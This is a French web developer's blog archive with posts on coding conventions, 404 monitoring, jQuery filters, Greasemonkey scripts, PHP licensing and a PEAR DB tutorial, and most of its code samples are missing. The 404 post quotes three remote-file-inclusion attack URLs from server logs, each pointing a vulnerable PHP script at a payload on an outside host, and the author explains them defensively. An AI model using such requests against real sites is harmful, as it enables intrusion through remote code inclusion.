J’avais commencé à mettre le sujet en perspective avec un bref historique de mon expérience du développement informatique, mais ce qui devait être bref s’est révélé plutôt étoffé, donc c’est devenu un article à part entière sur mes aventures informatiques, et il y a tellement à dire que je ne l’ai pas fini... bref, passons tout de suite au cœur du sujet !

En fait, au risque de décevoir, j’ai plus des habitudes que des conventions strictes de codage, et même si j’ai des préférences personnelles, j’essaie en général de m’en tenir aux conventions qui me sont dictées par les projets auxquels je participe.

Après quelques projets sur lesquels j’étais plutôt isolé, comme phpMyChat, et des discussions sur les newsgroups fciwap puis fclp, ma première grosse expérience en matière de conventions de codage est venue avec PEAR [1]. Des discussions interminables et passionnées [2] ont eu lieu sur les mailing-lists du projet lors de l’élaboration des conventions de codage, à laquelle j’ai participé fin 2001. Il était notamment question du choix d’espaces ou tabulations pour l’indentation du code [3] ou du positionnement des accolades...

J’approuve au final le choix d’espaces pour les indentations, mais j’étais auparavant plutôt habitué aux tabulations, tout simplement parce que les éditeurs que j’utilisais à l’époque ne savaient pas gérer ces espaces lors de l’utilisation de la touche de tabulation, et surtout que je ne me préoccupais pas du rendu dans un autre éditeur, étant le seul à travailler sur mes projets. Je ne retrouve malheureusement pas l’exemple qui avait fini par convaincre presque tout le monde — dont moi — que les espaces étaient la meilleure solution.

Après, entre 2 et 4 espaces, je trouve que 2 espaces évitent d’avoir trop de décalage quand on a beaucoup de niveaux imbriqués, tout en préservant une bonne lisibilité. « C’est mon choix ».

Quoi qu’il en soit, il ne faut pas oublier non plus que ces conventions de codage sont comme toutes les bonnes pratiques, elles s’enrichissent au fur et à mesure des expériences, et elles évoluent toujours petit à petit, par ajustements successifs.

Côté PHP, donc, j’étais plutôt utilisateur des conventions de PEAR, mais comme je l’ai indiqué plus tôt, j’adopte systématiquement les conventions déjà en place sur les projets auxquels je participe, donc je m’intéresse maintenant à celles de symfony.

Pour le Javascript, rien de bien original, j’utilise grosso modo les mêmes qu’Oncle Tom, mais pour les CSS, je reste basique, pas d’indentation selon la cascade, et un ordre logique plutôt qu’alphabétique.

Bon, la patate est encore chaude bien que passée entre de nombreuses mains, je la refile vite fait à Oliv même s’il a fait un rapide commentaire chez Oncle Tom, NiCoS histoire d’avoir l’avis d’un fan de Django et Clochix !

Si vous ne vous en souciez pas, commencez tout de suite à le faire, il y a beaucoup à apprendre, et sans doute beaucoup d’améliorations à apporter à votre site.

Le moyen le plus simple de connaître les URL en erreur 404 sur lesquelles arrivent les internautes, c’est d’abord de s’intéresser à celles qui sont référencées dans les moteurs de recherche, dont Google. On peut trouver justement un référencement des pages en erreur, dont celles en 404, au sein des outils Google pour les webmasters.

Erreurs 404 de Gastero Prod référencées par Google

Une autre méthode plus basique et source potentielle d’explosion de compte mail est de se faire envoyer un mail à chaque requête donnant une erreur. C’est ce que j’ai fait dans mon squelette 404.html pour Gastero Prod, en donnant au passage quelques informations utiles de contexte d’appel :

Identifier les erreurs 404 permet d’améliorer un site sur plusieurs sujets :

La qualité du référencement

Si un internaute arrive sur votre site depuis un moteur de recherche, et tombe sur une erreur 404, c’est qu’il y a un soucis dans votre référencement, sans doute parce que votre site ou un autre site contient des liens qui pointent vers ces mauvaises URL, liens qui existent :

• soit par simple erreur de frappe, ce qu’un bon outil de gestion de contenus Web devrait permettre d’éviter,
• soit parce que vous avez modifié vos URL, ce qu’il ne faut surtout pas faire !,
• soit parce que des URL déterminées et gérées automatiquement sont mal configurées.

En observant les erreurs 404 relevées par Google, j’ai pu corriger de nombreux problèmes apparus sur Gastero Prod, notamment avec le petit changement opéré sur les URL [2] pour que les articles du blog ne soient plus à la racine mais dans une sous rubrique blog/ et surtout un mélange entre URL absolues et URL relative, pas encore totalement bien gérées dans SPIP avec des URL arborescentes.

Il n’y a bien entendu pas que le nettoyage des erreurs 404 qui permet d’améliorer la qualité du référencement, mais c’est un autre sujet...

Les performances, la consommation de bande passante, et donc potentiellement le coût de l’hébergement

Si vous faites en sorte de diminuer les erreurs 404 sur votre site, quelles qu’en soit les causes, les internautes ne téléchargeront que les pages réellement intéressantes, et vous réduirez le gaspillage de ressources de votre serveur, ainsi que la bande passante consommée.

Selon la nature de votre hébergement, cela peut avoir un impact — positif à priori — sur son coût, ce qui peut s’avérer intéressant comme motivation.

La sécurité

Vous pouvez aussi identifier, dans les erreurs 404, des attaques essayant de profiter de failles de sécurité de solutions packagées.

Par exemple, un requête revenant ces derniers temps dans mes logs de 404 est la suivante :

http://www.gasteroprod.com/infoevent.php3?rootagenda=http://love-ma2.t35.com/sistem.txt?

En cherchant infoevent.php3 sur Google, j’ai découvert qu’il s’agit d’un script faisant justement l’objet d’une faille de sécurité de phpMyAgenda.

Comme par hasard, le client ayant fait cette requête n’est pas un navigateur traditionnel, mais s’identifie comme étant libwww-perl/5.803. C’est donc bien un programme qui tente l’attaque, sauf falsification de signature qui serait ici inepte.

Autre exemple avec cette requête :

http://www.gasteroprod.com//tags.php?BBCodeFile=http://guhit.com/img/id.txt?

Requête qui correspond à une faille de sécurité de Tagger LE, et qui est demandée comme par hasard aussi par un client libwww-perl/5.812 !

Dernier exemple avec cette requête :

http://www.gasteroprod.com//chat/users_popupL.php3?From=http://www.covoiturage.fr/communities/arab.txt??

Requête qui correspond à une faille de sécurité de phpMyChat [3], et qui est demandée comme par hasard une fois de plus par un client libwww-perl/5.805 !

Je tiens à signaler aux hackers qui me liraient que je n’utilise aucune de ces applications, ni aucune des nombreuses autres auxquelles s’adressent les autres attaques que je subi...

Faudrait-il donc refuser systématiquement toute requête signée par libwww-perl ?

En tout cas, vous pouvez déjà refuser les requêtes clairement identifiables comme des attaques brutales, par exemple comme ceci si vous avez le module mod_rewrite pour Apache :

Voilà, vous êtes prévenus, n’ignorez plus vos erreurs 404, agissez !

Le besoin particulier qui m’a conduit à trouver la solution que je vais exposer ici est de sélectionner des éléments dont le contenu texte est exactement égal à une chaine de caractères donnée.

jQuery propose le filtre contains() qui permet d’identifier des éléments qui contiennent la chaine de caractères ’text’, de l’une des manières suivantes :

Malheureusement, ce filtre ne permet pas d’identifier des éléments qui contiennent exactement la chaine 'text', donc il faut le faire soit-même.

La solution directe, sans étendre jQuery, est d’utiliser filter() :

Si cela est réalisable une ou deux fois dans un code relativement peu volumineux, il devient vite pénible de recopier tout ce code pour une opération qu’on imaginerait plus simple.

Heureusement, il est possible d’étendre jQuery, soit par des plugins soit directement jQuery lui-même et ses éléments, dont ses filtres. Cette dernière possibilité n’est par contre pas bien — voire pas du tout [1] — documentée.

Voici ce que ça donne pour le besoin particulier exprimé précédemment :

Une fois ceci fait, il est possible de filtrer les éléments de la manière suivante :

Simple, n’est-ce pas ?

Ce qu’il faut savoir pour écrire ses propres filtres est surtout la définition des variables disponibles. Vous avez sans doute vu ces étranges a et m[3] dans le code ci-dessus. La première impression pourrait être que cela ne permet de filtrer que les éléments de type lien — balise <a> — mais il n’en est rien, ce a n’est qu’un nom de variable.

Voici donc la fameuse liste des variables, grâce à ce mail de Danny Wachsstock sur la liste de discussion jQuery :

• a pour l’élément à filtrer
• m[3] pour ce qui est entre parenthèses dans le sélecteur
• i pour l’index de l’élément à filtrer
• r pour le tableau complet d’éléments

Comme indiqué dans le mail cité précédemment, vous trouverez de nombreux exemples dans cette liste de sélecteurs aditionnels.

A vous de jouer !

Le projet est publié sous licence libre BSD et hébergé sur SourceForge sous le nom ODF Add-in for Word 2007. La première version vient d’être mise en ligne, où elle est téléchargeable gratuitement [2].

Voilà la citation de Frédéric Bon extraite du communiqué officiel de Microsoft :

“OpenXML represents a paradigm shift not only in its architecture but also in the customer needs it serves, opening organizations’ existing documents to take advantage of new content management and collaboration scenarios that weren’t possible even as recently as a few years ago ,” said Frédéric Bon, CEO of Clever Age. “Through the documentation Ecma International is creating and work such as the Open XML Translator project, customers will soon have the confidence that Open XML and ODF formats can coexist and new document scenarios will flourish. We are looking forward to working with the community of developers and businesses interested in XML documents.”

Les réactions — et leurs armées de trolls associées — ne se sont pas fait attendre, ce qui est plutôt logique étant donné la sensibilité du sujet. Voilà quelques liens pour suivre les débats et nourrir les trolls [3] :

• En français :
  • Clubic
  • PC Impact
  • LinuxFR (et là)
  • Génération-NT
  • Le Monde Informatique
  • VNUnet
  • 01net
  • ZDNet
  • Tristan Nitot

• En anglais :
  • Brian Jones, program manager de l’équipe Microsoft Office
  • Digg
  • Ars Technica
  • The Register
  • Slashdot
  • Groklaw
  • Jupiter Research’s Microsoft Monitor : « Microsoft has previously made overtures to the open-source community, but this project goes further in many respects. »
  • vnunet.com : Microsoft flip-flops on ODF support
  • United Press International : Microsoft backs cross-platform initiative
  • PC World : Microsoft to back Office-to-ODF plug-in : « According to Paoli, Clever Age approached Microsoft last year after some initial development. "They started having good results, so we asked them to continue," he said. »
  • ConsortiumInfo.org’s Standards Blog : Microsoft Falls Back Again : Announces ODF Plugin Project : « The news is being treated in the press as "new news," but in fact Ray Ozzie let slip mention of the project last October, and an open source converter project was started by the same French company last September 26. »
  • Guardian Unlimited’s Technology Blog : Microsoft announces Open Document support for Office 2007 : « Why Clever Age ? It was already working on a SourceForge proejct for an OpenOffice filter to Microsoft Word XML. »
  • CIO’s Microsoft Informer : OpenDocument Skirmish Ends in Truce

• En polonais [4] :
  • IDG Pologne
  • ITbiznes.pl
  • 7thGuard

Voici le programme, avec malheureusement un peu de flottement dans les titres [1] :

1. Une page de base
2. Une Feuille de Style
3. Appliquer du style au texte
4. Plus de mise en forme pour le texte
5. Des listes à gogo
6. Etablir des liens
7. Les boîtes CSS
8. Des div sur mesure
9. On met tout ensemble
10. Doctypes et validation
11. 11ème épisode
12. 12ème épisode
13. 13ème épisode
14. 14ème épisode
15. L’avenir

Voilà donc ce que ça donne pour le design :

BlogmarksInGoogle 0.3 en action

Pour ce qui est des évolutions, jugez vous-même :

• Utilisation du flux Atom au lieu du flux RSS, ce qui permet notamment de récupérer la vignette sans tout l’habillage HTML
• Prise en compte de l’ordre de popularité plutôt que l’ordre chronologique
• Suppression des nombreux styles CSS inline au profit d’une section globale de styles
• Alternance de couleurs entre les résultats pour améliorer la lisibilité

Il reste juste un bug un peu pénible à corriger : si vous utilisez l’extension BetterSearch pour Firefox, vous risquez d’avoir les résultats Google relégués après ceux de Blogmarks, l’extension semblant ajouter un clear: right; sauvage...

MAJ : Effectivement, il manquait un lien vers le script, merci NiCoS !

Fidèle utilisateur de Google depuis longtemps pour toute recherche sur le Web, j’avais de plus en plus tendance ces derniers temps à tenter aussi ma chance sur Blogmarks, espérant ainsi ne trouver que des liens vraiment intéressants.

Ayant découvert le script Greasemonkey GooFD — développé par Ben Sherratt — qui permet de retrouver les derniers bookmarks del.icio.us dans Google et inversement, je me suis lancé dans la création d’un équivalent dédié à Blogmarks.

Voilà donc mon script BlogmarksInGoogle !

Et voici un apperçu de ce que cela donne pour une recherche sur Clever Age :

Ce script a été testé avec Mozilla Firefox 1.5.

MAJ : Blogmarks encore mieux intégré à Google avec BlogmarksInGoogle 0.3

J’ai eu l’info par Laurent Jouanneau, et je m’empresse de la relayer, parce que je trouve cela vraiment dangereux pour la santé des plateformes d’hébergement.

Je me suis aussi empressé d’adopter sur ce site la règle mod_rewrite proposée par Laurent, en espérant que je ne me ferais pas jeter par mon hébergeur :

Au passage, je n’ose imaginer la perturbation que cela va apporter à tous les outils de statistique de consultation des sites qui ne prendront pas en considération cet en-tête HTTP X-moz: prefetch ...

Mise à jour du 9/12 : J’ai laissé un commentaire sur la page de l’extension, et je me rends compte que je ne suis pas le seul. N’hésitez pas à faire de même...

Je partage tout à fait les soucis de Laurent de différencier les documents et les applications, et je vois bien l’intérêt de la plateforme XUL / XPFE de Mozilla ou de ses cousins XAML / Avalon [1] chez Microsoft, MXML / Flex chez Macromedia [2] ou OpenLaszlo.

Mais comme l’indique bien cette liste — pourtant non exhaustive — de solutions disponibles, le principal problème est une fois de plus de trouver laquelle de ces technologies répond le mieux et le plus durablement à un besoin et des contraintes donnés.

Si l’on parle d’accessibilité, la possibilité d’accéder à une application via le Web depuis n’importe quel navigateur est un critère important, et là XUL / XPFE [3] et XAML / Avalon [4] sont écartés d’office [5], alors que MXML / Flex a l’avantage de s’appuyer sur la très largement répendue plateforme cliente Flash. Mais c’est une solution propriétaire... Reste alors son challenger logiciel libre OpenLaszlo, qui semble bien prometteur.

Dans un même temps, l’usage des technologies standards du Web évolue très rapidement [6], et la déferlante AJAX qui redonne des couleurs vives au HTML vieillissant n’est pas près de s’essoufler. On en reparle prochainement...

Le bilan va être très court, puisque la migration s’est effectuée en 10 minutes montre en main [1], sans aucun effet de bord détecté pour l’instant.

SPIP continue donc à fournir une belle compatibilité ascendante, même sur les versions issues du CVS. Bravo !

J’avais dans l’idée de participer au concours Summer Refresh 2005, mais le temps va finalement me manquer, donc je vais plutôt me contenter pour l’instant d’une simple nouvelle couche de vernis.

Des évolutions s’ajouteront petit à petit à partir de maintenant, j’ai déjà pas mal d’idées.

J’espère notamment pouvoir expérimenter rapidement certaines extensions de la SPIP Zone, dont les trackbacks , qui sont vraiment l’un des plus gros manques quand on veut construire un blog avec SPIP, et peut-être la dernière version de la gestion de newsletters de BoOz [2], maintenant intitulée spip-listes.

J’espère aussi pouvoir remplacer un jour ma vieille contrib permettant de réaliser l’agenda de ce site avec SPIP avec le nouveau système d’agenda public concocté par Emmanuel [3], le quatrième mousquetaire de SPIP. Reste à comprendre comment ça marche... A moins que je ne supprime tout simplement cet agenda, qui est si difficile à remplir pour le peu d’intérêt qu’il suscite.

Il faudra au passage que je purifie un peu le code pour rendre le site plus accessible et encore plus respectueux des standards, j’ai encore beaucoup appris ces derniers temps sur ces deux sujets.

Enfin, je compte intégrer au mieux mes meilleures photos, noyées pour l’instant parmi toutes celles publiées sur Flickr, sans réel lien avec ce site, si ce n’est le petit flash en page d’accueil. Et pourquoi pas, puisqu’on parle de Flickr, aussi intégrer plus étroitement flickRate, qui commence à prendre de l’ampleur.

Quel beau programme, n’est-ce pas !

Ces deux éditeurs étant ceux qui participent le plus à l’élaboration des standards des Web Services, ils sont naturellement bien placés comme ayant une vision globale du sujet [2]. Et comme ce sont de grosses machines avec beaucoup de ressources humaines et des budgets conséquents en R&D, ils ont les compétences et les moyens qui vont avec [3].

Oracle, après le rachat opportuniste de Collaxa en 2004, se place en bon chalenger de ces deux leaders pour l’instant inattaquables.

Sun, qui avait tardé à bien vouloir rejoindre l’organisation de standardisation de l’inter opérabilité des Web Services [4], apparaît bien en retard sur ses concurrents habituels, même si le rachat récent du spécialiste SeeBeyond [5] devrait lui permettre de gagner quelques places.

Quel que soit l’avenir de chacun de ces éditeurs, et malgré les nombreux travaux menés sur ces sujets, il reste encore bien du chemin à parcourir avant de stabiliser les couches sécurité et qualité de service, qui restent les principaux freins à l’adoption des Web Services dans de vrais projets d’envergure.

flickRate est né d’une frustration que j’avais vis à vis des favoris de Flickr.

Vous pouvez voir par exemple dans mes favoris qu’il n’y a pas de ligne directrice, que certaines photos sélectionnées le sont pour leur esthétisme, et d’autres pour leur humour...

Afin de gérer mieux mes propres favoris, et tant qu’à faire offrir cette même possibilité à d’autres, j’ai créé l’application flickRate, qui permet de donner des notes à des photos postées publiquement sur Flickr. Les trois critères proposés pour l’instant sont l’esthétisme, l’originalité, et le « fun ». Cela pourrait évoluer, ce n’est pas réellement satisfaisant. Il sera aussi sans doute possible un jour de ne voter que pour un ou deux de ces critères.

A ce jour, flickRate a déjà rassemblé 206 utilisateurs, qui ont voté pour 1090 photos !

S’inscrire

La première chose à faire, si ce n’est déjà fait, est de s’inscrire. Seule une adresse e-mail est nécessaire, afin de valider la création d’un compte par envoi d’un mail de confirmation.

Dans un futur relativement proche, dès que la nouvelle API d’authentification de Flickr sera disponible, un compte Flickr devrait suffire, ce qui permettra aussi éventuellement de rendre le système plus équitable en n’autorisant pas les inscrits à voter pour leurs propres photos.

Comment voter ?

Il existe deux moyens de voter pour des photos avec flickRate, tous deux présents sur la page de flickRate réservée aux outils :

Un bookmarklet

Le premier moyen est assez traditionnel, il s’agit d’un bookmarklet qui ouvre une popup de vote.

Voter dans une popup

Popup ouverte par le bookmarklet flickRate depuis une page de photo

Ce bookmarklet est normalement utilisable avec tous les navigateurs, mais n’hésitez pas à signaler si ce n’est pas le cas.

Un script Greasemonkey

Si ce nom Greasemonkey ne vous est pas familier, sachez qu’il s’agit d’une extension formidable pour Mozilla Firefox qui permet de créer des scripts modifiant l’interface des sites Web visités.

Il existe des tonnes de scripts Greasemonkey permettant d’améliorer ou modifier des sites existants, dont Flickr.

Pour faire simple, dans le cas de flickRate, cela permet d’afficher l’interface de vote de flickRate directement sous les photos dans les pages de Flickr !

flickRate intégré à Flickr

Grâce à Greasemonkey, l’interface de vote de flickRate est intégrée à Flickr !

Ce script Greasemonkey a aussi été compilé sous forme d’une extension Firefox, si vous ne souhaitez pas installer l’extension Greasemonkey.

Naviguer dans flickRate

La navigation dans flickRate permet de voir quelles sont les photos les mieux classées selon les trois critères, et même de restreindre la visualisation à une période calendaire donnée, voir à ses propres votes ou uniquement ceux des autres.

Navigation dans flickRate

Les options de filtre et tri sont nombreuses dans flickRate pour naviguer selon ses propres intérêts

Afin de récolter les remarques des utilisateurs et discuter des évolutions de flickRate, j’ai créé un groupe flickRate sur Flickr.

Et ça donne quoi ?

Pour finir en beauté [1], voici à ce jour les 20 photos les plus appréciées des utilisateurs de flickRate [2] depuis son lancement :

source

Voici le chapo de la chronique :

« Réaliser une application métier performante, facilement maintenable et extensible, offrant une interface ergonomique aux utilisateurs, nécessite tout d’abord un choix technologique de première importance, tant les solutions sont aujourd’hui diverses.

XPFE, la plateforme de développement de Mozilla, pourrait bien jouer les trouble-fête dans la cour des habitués que sont Java ou .Net. Son langage de description d’interfaces riches en XML, XUL, a tout pour séduire. »

Je vous laisse découvrir la suite par vous-même : XUL, la partie visible du framework Mozilla (XPFE)

Petite chronologie

Le 12 juin 2002, Stig Bakken, leader du développement de PHP pour sa version 4.3, met à jour la licence pour cette version. Le paragraphe 6 qui indiquait que le Zend Engine est inclu dans PHP est supprimé, et est remplacé par une simple mention de ce Zend Engine en fin de texte. Le numéro de licence passe du même coup de 2.02 à 3.0a1.

Le 21 juillet 2002, Stig Bakken, toujours lui, intervient plusieurs fois sur la licence, principalement pour scinder en deux le paragraphe 3 qui parle à la fois du nom PHP et de l’usage qu’il en est fait pour nommer les logiciels développés en PHP. La séparation en deux paragraphe simplifie la compréhension de la seconde partie, qui devient donc le paragraphe 4 suivant :

Products derived from this software may not be called "PHP", nor may "PHP" appear in their name, without prior written permission from group@php.net. You may indicate that your software works in conjunction with PHP by saying "Foo for PHP" instead of calling it "PHP Foo" or "phpfoo"

Soit en français :

Les produits dérivés de ce logiciel ne devraient pas être appelés "PHP", et "PHP" ne devrait pas apparaître dans leur nom, sans autorisation écrite préalable de group@php.net. Vous pouvez indiquer que votre logiciel fonctionne avec PHP en disant "Foo pour PHP" plutôt qu’en l’appelant "PHP Foo" ou "phpfoo".

Dans la foulée, Derick Rethans demande dans la mailing-list php-cvs si phpMyAdmin et phpOpenTracker sont considérés comme des logiciels dérivés de PHP, selon le nouveau sens proposé par la licence.

Le 5 août 2002, Sebastian Bergmann, créateur de phpOpenTracker, répond en passant dans la mailing-list plus appropriée php-dev qu’il est naturellement lui aussi intéressé, puisque directement concerné.

C’est alors que Rasmus Lerdorf, créateur de PHP que l’on ne présente plus, intervient pour préciser ce qu’il en pense et en a déjà dit à plusieurs reprises auparavant. En synthèse, les projets développés en PHP n’ont aucune raison d’avoir des noms comportant PHP, alors que cela n’est pratiqué dans aucune autre technologie.

Le 4 septembre 2002, sans doute pour l’exemple, Rasmus Lerdorf interpèle Michael Glazer, créateur du projet PHPortal, pour lui demander pourquoi le nom de son projet contient ’php’.

Le 6 septembre 2002, Rasmus, toujours lui, annonce dans la mailing-list pear-dev que suite à une discussion avec Richard M. Stallman, la liste des licences logiciel libre non compatibles avec la GNU/GPL a été mise à jour pour prendre en compte la nouvelle version de la licence PHP et ôter les réserves importantes qui étaient faites sur la pertinence de la version précédente.

A bin oui, mais alors ...

Cette habitude de mettre PHP dans le nom des logiciels, très particulière en effet, a sans doute trouvé sa source dans phpMyAdmin, assurément le plus fameux des projets PHP.

C’est d’ailleurs exactement ce qui a conduit aux noms de phpMyChat, qui était initialement basé uniquement sur PHP et MySQL, mais aussi de phpLang, phpApp, phpXMLP et phpSyndication.

Pour les autres projets, cela n’aurait sans doute que peu d’impact, mais un changement de nom de phpMyChat est-il envisageable alors qu’il est depuis déjà pas mal de temps connu de miliers d’utilisateurs ?

Bonus

Toutes ses discussions auront aussi permis de découvrir grâce à Yasuo Ohgaki que PHP est une marque déposée en 1947 au Japon par l’éditeur PHP Sougou Kennkyusho.

Introduction (à écrire !)

Ceci est un tutoriel sur l’utilisation de l’extension PEAR DB.

PEAR DB est un ensemble de classe proposant :

• abstraction de bases de données
• gestion avancée des erreurs
• etc

Obtenir et installer Pear

Pour le moment, le projet PEAR est encore fortement en développement, donc le meilleur moyen de l’obtenir est depuis le CVS (la distribution de PEAR DB livrée avec PHP est obsolète, même celle avec PHP 4.0.6 !). Ensuite, la seule chose que vous avez à faire est d’ajouter le répertoire racine de PEAR au paramètre include_path de votre fichier php.ini. Vous pouvez aussi procéder comme ceci :

Voici un exemple pas à pas :

La documentation complète du CVS PHP peut être trouvée ici.

Notez que PEAR DB nécessite PHP > 4.0.4, mais d’autres packages de PEAR comme le parser XML Parser ou le script pear installer nécessitent PHP >= 4.0.5.

Pour l’instant, ce guide couvre la dernière version CVS de PEAR DB, mais il peut être valide pour toute version récente.

Utilisation de PEAR DB

Se connecter et se déconnecter d’une base de données

La chaine de connexion Data Source Name (paramètre $dsn dans l’exemple ci-dessus) peut avoir les formats autorisés suivants (copie directe de la méthode parseDSN de pear/DB.php) :

Les bases de données actuellement supportées (partie phptype du DSN) sont :

Notez que certaines fonctionnalités peuvent ne pas être supportées par tous les gestionnaires de bases de données. Référez-vous au document donnant le status des extensions PEAR DB situé dans <pear base dir>/DB/STATUS pour avoir la liste détaillée.

Effectuer une requête dans la base de données

Récupérer les enregistrements résultant de la requête

Fonctions fetch

Plutôt que fetchRow() vous pouvez utiliser fetchInto() qui renseigne directement la valeur $row :

Sélectionner le format de l’enregistrement récupéré

Les modes de fetch supportés sont DB_FETCHMODE_ORDERED (par défaut), DB_FETCHMODE_ASSOC et DB_FETCHMODE_OBJECT.

Exemples de structures de données retournées par les méthodes fetch :

Configurer le format des enregistrements retournés

Vous pouvez indiquer quel mode de retour utiliser aux méthodes fetchRow() et fetchInto() ou définir un mode par défaut pour l’instance de DB.

Récupérer les enregistrements par indice

Le système de fetch de PEAR DB supporte aussi un autre paramètre pour permettre de récupérer les enregistrement par leur indice numérique. Cela est particulièrement intéressant si vous souhaitez exploiter seulement une partie d’un ensemble de résultats (par exemple pour contruire des listes paginées), récupérer les enregistrements dans un ordre particulier, etc.

Vider le résultat

Une fois que vous avez terminé d’utiliser le résultat, vous pouvez le vider avec la méthode free() :

Récupération rapide de données

PEAR DB fourni quelques méthodes particulières pour récupérer le résultat d’une requête sans avoir besoin d’utiliser fetchRow() pour le parcourir. Ce sont les méthodes getOne, getRow, getCol, getAssoc et getAll. Voici quelques exemples d’utilisation :

La famille des méthodes get*() fait tout le "sale boulot" pour vous, c’est à dire : exécuter la requête, récupérer les données et vider le résultat. Notez que comme toutes les fonctions de PEAR DB, elles retourneront un object PEAR DB_error en cas d’erreur.

Obtenir plus d’informations sur le résultat des requêtes (numRows, numCols, affectedRows, tableInfo)

Avec PEAR DB vous avez plusieurs façons d’obtenir des informations intéressantes sur les résultats de requêtes. Ce sont :

• numRows() : Donne le nombre total d’enregistrements retournés par une requête de type "SELECT".
• numCols() : Donne le nombre total de colonnes retournées par une requête de type "SELECT".
• affectedRows() : Donne le nombre d’enregistrements affectés par une requête de manipulation de données ("INSERT", "UPDATE" or "DELETE").
• tableInfo() : Donne un tableau associatif contenant des informations sur les champs retournés par une requête de type "SELECT".

Exemples d’utilisation :

Séquences

Les séquences sont un moyen d’obtenir des IDs uniques pour les enregistrements. Si vous faites la majeure partie de votre travail avec par exemple MySQL, pensez aux séquences comme un autre moyen de gérer AUTO_INCREMENT. Cela est relativement simple, tout d’abord vous demandez un ID, puis vous insérez cette valeur dans le champ correspondant du nouvel enregistrement que vous êtes en train de créer. Vous pouvez avoir plus d’une séquence pour toutes vos tables, mais assurez-vous que vous utilisez toujours la même séquence pour une table particulière.

Prepare & Execute/ExcuteMultiple (pas encore écrit)

autoCommit, commit and rollback (pas encore écrit)

Liste des méthodes disponibles

Gestion des erreurs

Récupérer le message d’erreur d’une erreur PEAR DB

Toutes les erreurs retournées par PEAR DB sont des objets PEAR Error. Voici un moyen de récupérer leurs informations :

Débuguer les erreurs PEAR DB

PEAR DB utilise un système de messages d’erreur portable pour signaler les erreurs à l’utilisateur. Cela a beaucoup d’avantages comme proposer un moyen simple de les transposer en autres langages ou réaliser une action spécifique en cas d’erreur spécifique. Mais cela ne donne pas beaucoup d’informations au développeur sur ce qui est arrivé. Pour récupérer l’erreur réelle donnée par le gestionnaire de bases de données ainsi que la dernière requête effectuée, vous pouvez utiliser la méthode getDebugInfo() :

Normalement quand une fonction PHP échoue, un message d’erreur est affiché. Dans PEAR ce fonctionnement a été désactivé. Mais peut-être aurez-vous parfois besoin de visualiser ces messages pour ôter des erreurs obscures de votre code. Cela peut être fait avec la fonction PHP set_error_handler qui est documentée dans le manuel PHP. Voici un exemple simple :

Exécuter autmatiquement des actions en cas d’erreur

Comme vous pouvez le voir, PEAR DB fait d’intenses vérifications et rapports d’erreurs, fonctionnalité qui oblige le développeur à toujours vérifier si le résultat de son action est ou non une erreur. PEAR DB prend aussi en charge cette tâche pénible, et propose un système très flexible pour automatiquement exécuter des actions en czas d’erreurs.

Les actions possibles sont :

• Retourne l’objet erreur (PEAR_ERROR_RETURN). C’est l’action par défaut.
• Imprime le message d’erreur (PEAR_ERROR_PRINT)
• Imprime le message d’erreur et arrête l’exécution (PEAR_ERROR_DIE)
• Utilise la fonction PHP trigger_error() pour lever une erreur PHP (PEAR_ERROR_TRIGGER)
• Passe l’objet erreur à une fonction ou à une méthode d’objet (PEAR_ERROR_CALLBACK)

Un exemple simple :

Un exemple plus complet :

Référez-vous au manuel de référence de PEAR pour obtenir la description détaillée des différentes actions possibles.

Voici une idée pour créer un système étendu de gestion d’erreurs :

Remerciements

Remerciements particuliers à Stig pour avoir créé le merveilleux monde de PEAR, aux personnes qui m’aident à maintenir ce document et bien sûr aussi à l’ensemble de l’équipe PEAR pour son travail permanent dessus.

Qu’est-ce que PEAR ? Et pourquoi devrais-je m’en préoccuper ?

Le projet PEAR (NDT : PHP Extension and Application Repository) a été lancé par Stig S. Bakken pour créer un outil similaire au CPAN de Perl. Son but principal est de devenir un entrepôt pour des extensions et scripts PHP. Le but le plus ambitieux du projet est de tenter de définir des standards qui puisse aider les développeurs à écrire du code portable et réutilisable.

De la documentation sur le projet commence à apparaître sur Internet, en concéquence certainement de sa popularité grandissante. Une documentation de départ peut déjà être trouvée dans le manuel officiel de PHP et sera augmentée.

PEAR est encore particulièrement en travaux, notamment le "PEAR installer" et le site dédié, et il devrait beaucoup croître dans les mois à venir. Il y a de nombreuses discussions sur la mailing-list des développeurs de PHP à propos de l’usage de PEAR dans les versions futures pour gérer le nombre croissant d’extensions C et aussi de l’usage du "PEAR installer" comme interface pour que les utilisateurs téléchargent et installent des extensions PHP.

Tout cela sans mentionner la librairie de scripts PHP de PEAR, qui est souvent considéré comme une des plus propre et bien conçues disponible actuellement pour PHP. L’un de ses composants les plus populaires est PEAR ::DB, la librairie d’abstraction de base de données créée pour ce projet. Bakken travaille même au portage des classes et fonctions principales en une extension C pour rendre le composant aussi rapide que possible.

Ce nouveau projet deviendra sûrement l’un des aspects les plus importants de PHP dans le futur, autorisant les développeurs à partager du code en utilisant le site de PEAR et en donnant aux utilisateurs l’opportunité de télécharger et installer des extensions et scripts PHP.

Comment puis-je débuter avec PEAR ?

Comme mentionner précédemment, PEAR continue à évoluer et à s’améliorer. Cependant, un certain nombre de composants sont maintenant utilisables. Le plus populaire est PEAR ::DB, qui permet au développeur d’écrire du code qui puisse être utilisé avec différents gestionnaires de bases de données. Par exemple, un développeur pourrait écrire un script qui insèrerait un enregistrement dans une table, et il fonctionnerait avec MySQL, PostgreSQL et Oracle.

Ainsi, l’exemple ci-dessous pourrait être utiliser avec tous les types de gestionnaires de bases de données (NDT : voir l’erratum en fin de page) :

C’était juste un très simple exemple pour montrer à quoi ressemblerait le code avec une librairie d’abstraction comme PEAR ::DB.

Un nouveau chapitre a été récemment ajouté au manuel de PHP, mais il est encore incertain si ce manuel contiendra la documentation complète de tous les composants de PEAR, ou si un nouveau manuel sera créé uniquement pour les composants de PEAR.

Procédures d’installation

Installer PEAR est en fait très simple, et je vais expliquer comment installer la dernière version du CVS de PEAR, qui change si rapidement.

Note : Le mécanisme interne de gestion de l’entrepôt changera probablement dans le futur. Pour l’instant, les composants et librairies sont stockés dans le même arbre CVS que PHP, ce qui pose des problèmes pour gérer à la fois les entrepôts et développeurs de PHP et de PEAR. Dans un futur proche, il est prévisible que PEAR sera détaché dans son propre module. Ce module existe, mais la plupart des composants sont encore dans l’ancien.

Installer PEAR à partir du CVS

Si vous n’avez jamais entendu parler de CVS, jetez un oeil à sa documentation. Ce n’est pas une technologie difficile d’usage, mais s’y accoutumer prend du temps.

En supposant que vous avez le client CVS standard installé sur votre machine, vous devrez suivre ces étapes :

1. Ouvrez une fenêtre de terminal (rxvt, xterm, ou autre)

2. Tapez les commandes suivantes :

